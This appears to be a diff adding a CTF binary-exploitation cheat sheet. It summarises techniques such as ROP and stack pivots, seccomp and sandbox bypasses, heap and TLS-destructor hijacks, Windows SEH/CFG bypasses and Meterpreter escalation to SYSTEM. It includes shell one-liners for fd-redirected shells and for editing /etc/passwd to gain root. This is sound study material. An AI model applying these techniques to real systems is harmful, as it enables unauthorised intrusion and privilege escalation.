+**Pattern:** String processing function with user-controlled stride skips past null terminator, leaking stack canary and return address one byte at a time. Then overflow with leaked values. See [overflow-basics.md](overflow-basics.md).
+
+### SROP with UTF-8 Constraints
+**Pattern:** When payload must be valid UTF-8 (Rust binaries, JSON parsers), use SROP — only 3 gadgets needed. Multi-byte UTF-8 sequences spanning register field boundaries "fix" high bytes. See [rop-advanced.md](rop-advanced.md).
+
+### VM Exploitation (Custom Bytecode)
+**Pattern:** Custom VM with OOB read/write in syscalls. Leak PIE via XOR-encoded function pointer, overflow to rewrite pointer with `win() ^ KEY`. See [sandbox-escape.md](sandbox-escape.md).
+
+### FUSE/CUSE Character Device Exploitation
+Look for `cuse_lowlevel_main()` / `fuse_main()`, backdoor write handlers with command parsing. Exploit to `chmod /etc/passwd` then modify for root access. See [sandbox-escape.md](sandbox-escape.md).
+
+### Busybox/Restricted Shell Escalation
+Find writable paths via character devices, target `/etc/passwd` or `/etc/sudoers`, modify permissions then content. See [sandbox-escape.md](sandbox-escape.md).
+
+### process_vm_readv Sandbox Bypass
+**Pattern:** Sandbox validates file paths via `process_vm_readv()` + `realpath()`. Map memory with `PROT_READ` only at fixed address via `mmap(MAP_FIXED)` -- sandbox's `process_vm_readv` fails silently, bypassing path validation entirely. See [sandbox-escape.md](sandbox-escape.md#process_vm_readv-failure-as-sandbox-escape-0ctf-2016).
+
+### Named Pipe (mkfifo) File Size Bypass
+**Pattern:** Binary checks `stat()` file size before reading. Named pipes report `st_size = 0` but deliver arbitrary data via `read()`. `mkfifo /tmp/pipe && cat payload > /tmp/pipe &` then pass pipe to binary. Combine with `ln -s /flag arena.c` for string reuse in ROP. See [sandbox-escape.md](sandbox-escape.md#named-pipe-mkfifo-for-file-size-check-bypass-nuit-du-hack-2016).
+
+### Shell Tricks
+`exec<&3;sh>&3` for fd redirection, `$0` instead of `sh`, `ls -la /proc/self/fd` to find correct fd. See [sandbox-escape.md](sandbox-escape.md).
+
+### Double Stack Pivot to BSS via leave;ret
+**Pattern:** Small overflow (only RBP + RIP). Overwrite RBP → BSS address, RIP → `leave; ret` gadget. `leave` sets RSP = RBP (BSS). Second stage at BSS calls `fgets(BSS+offset, large_size, stdin)` to load full ROP chain. See [rop-advanced.md](rop-advanced.md#double-stack-pivot-to-bss-via-leaveret-midnightflag-2026).
+
+### RETF Architecture Switch for Seccomp Bypass
+**Pattern:** Seccomp blocks 64-bit syscalls (`open`, `execve`). Use `retf` gadget to load CS=0x23 (IA-32e compatibility mode). In 32-bit mode, `int 0x80` uses different syscall numbers (open=5, read=3, write=4) not covered by the filter. Requires `mprotect` to make BSS executable for 32-bit shellcode. See [rop-advanced.md](rop-advanced.md#retf-architecture-switch-for-seccomp-bypass-midnightflag-2026).
+
+### Leakless Libc via Multi-fgets stdout FILE Overwrite
+**Pattern:** No libc leak available. Chain multiple `fgets(addr, 7, stdin)` calls via ROP to construct fake stdout FILE struct on BSS. Set `_IO_write_base` to GOT entry, call `fflush(stdout)` → leaks GOT content → libc base. The 7-byte writes avoid null byte corruption since libc pointer MSBs are already `\x00`. See [advanced-exploits-2.md](advanced-exploits-2.md#leakless-libc-via-multi-fgets-stdout-file-overwrite-midnightflag-2026).
+
+### Signed/Unsigned Char Underflow to Heap Overflow
+**Pattern:** Size field stored as `signed char`, cast to `unsigned char` for use. `size = -112` → `(unsigned char)(-112) = 144`, overflowing a 127-byte buffer by 17 bytes. Combine with XOR keystream brute-force for byte-precise writes, forge chunk sizes for unsorted bin promotion (libc leak), FSOP stdout for TLS leak, and TLS destructor (`__call_tls_dtors`) overwrite for RCE. See [advanced-exploits-2.md](advanced-exploits-2.md#signedunsigned-char-underflow-to-heap-overflow--tls-destructor-hijack-midnightflag-2026).
+
+### TLS Destructor Hijack via `__call_tls_dtors`
+**Pattern:** Alternative to House of Apple 2 on glibc 2.34+. Forge `__tls_dtor_list` entries with pointer-guard-mangled function pointers: `encoded = rol(target ^ pointer_guard, 0x11)`. Requires leaking pointer guard from TLS segment (via FSOP stdout redirection). Each node calls `PTR_DEMANGLE(func)(obj)` on exit. See [advanced-exploits-2.md](advanced-exploits-2.md#tls-destructor-overwrite-for-rce-via-__call_tls_dtors).
+
+### Signed Int Overflow to Negative OOB Heap Write
+**Pattern (Canvas of Fear):** Index formula `y * width + x` in signed 32-bit int overflows to negative value, passing bounds check and writing backward into heap metadata. Use to corrupt adjacent chunk sizes/pointers, leak libc via unsorted bin, redirect a data pointer to `environ` for stack leak, then write ROP chain to main's return address. When binary is behind a web API, chain XSS → Fetch API → heap exploit, and inject `\n` in API parameters for command stacking via `sendline()`. See [advanced-exploits-2.md](advanced-exploits-2.md#signed-int-overflow-to-negative-oob-heap-write--xss-to-binary-pwn-bridge-midnight-2026) for full exploit chain, XSS bridge pattern, and RGB pixel write primitive.
+
+### Custom Shadow Stack Bypass via Pointer Overflow
+**Pattern (Revenant):** Userland shadow stack in `.bss` with unbounded pointer. Recurse to advance `shadow_stack_ptr` past the array into user-controlled memory (e.g., `username` buffer), write `win()` there, then overflow the hardware stack return address to match. Both checks pass. See [advanced-exploits-2.md](advanced-exploits-2.md#custom-shadow-stack-bypass-via-pointer-overflow-midnight-2026) for full exploit and `.bss` layout analysis.
+
+### Windows SEH Overwrite + VirtualAlloc ROP
+Format string leak defeats ASLR. SEH (Structured Exception Handler) overwrite with stack pivot to ROP chain. `pushad` builds VirtualAlloc call frame for DEP (Data Execution Prevention) bypass. Detached process launcher for shell stability on thread-based servers. See [advanced-exploits-4.md](advanced-exploits-4.md#windows-seh-overwrite--pushad-virtualalloc-rop-rainbowtwo-htb).
+
+### SeDebugPrivilege to SYSTEM
+`SeDebugPrivilege` + Meterpreter `migrate -N winlogon.exe` -> SYSTEM. See [advanced-exploits-4.md](advanced-exploits-4.md#sedebugprivilege-to-system-rainbowtwo-htb).
+
+### mmap/munmap Size Mismatch UAF
+Over-unmap via mmap(small)/munmap(large) destroys adjacent mappings. Thread stack fills gap, old buffer pointer becomes write-into-stack. Race-free UAF variant. See [advanced-exploits-4.md](advanced-exploits-4.md#mmapmunmap-size-mismatch-uaf-for-thread-stack-overlap-0ctf-2017).
+
+### strcspn Indirect Null Byte Injection
+`strcspn(buf, "\r\n")` + null write truncates strings at injected newlines. Bypasses CGI null-byte filtering for path traversal. See [advanced-exploits-4.md](advanced-exploits-4.md#strcspn-as-indirect-null-byte-injection-bsidessf-2017).
+
+### Windows CFG Bypass Using system() as Valid Call Target
+**Pattern:** Windows CFG validates indirect call targets but `system()` from msvcrt passes validation since it is a legitimate API entry point. Overwrite function pointer with `system()`, use comma instead of space in arguments to bypass input filters. See [advanced-exploits-4.md](advanced-exploits-4.md#windows-cfg-bypass-using-system-as-valid-call-target-insomnihack-2017).
+
+### 4-Byte Shellcode with Timing Side-Channel
+**Pattern:** Binary executes only 4 bytes of user shellcode in a 4096-iteration loop. Callee-saved registers (r12-r15) persist across iterations, enabling incremental state building. The 4096x loop amplifies timing differences for reliable side-channel measurement. See [advanced-exploits-3.md](advanced-exploits-3.md#4-byte-shellcode-with-timing-side-channel-via-persistent-registers-google-ctf-2017).
+
+### CRC Oracle as Arbitrary Read Primitive
+**Pattern:** CRC is bijective on single bytes. Overflow a pointer to control the CRC input address, precompute all 256 single-byte CRCs, and reverse-lookup each byte of arbitrary memory. Chain reads to leak GOT, libc, stack, and canary. See [advanced-exploits-3.md](advanced-exploits-3.md#crc-oracle-as-arbitrary-read-primitive-asis-ctf-2017).
+
+### UTF-8 Case Conversion Buffer Overflow
+**Pattern:** Unicode case conversion can expand character byte length (e.g., 2-byte UTF-8 becomes 4 bytes when uppercased). If buffer is sized for input length, the longer output overflows. Affects GLib `g_utf8_strup()`, ICU, and similar functions. See [advanced-exploits-3.md](advanced-exploits-3.md#utf-8-case-conversion-buffer-overflow-hitb-ctf-2017).
+
+## Useful Commands
+
+`checksec`, `one_gadget`, `ropper`, `ROPgadget`, `seccomp-tools dump`, `strings libc | grep GLIBC`. See [rop-advanced.md](rop-advanced.md) for full command list and pwntools template.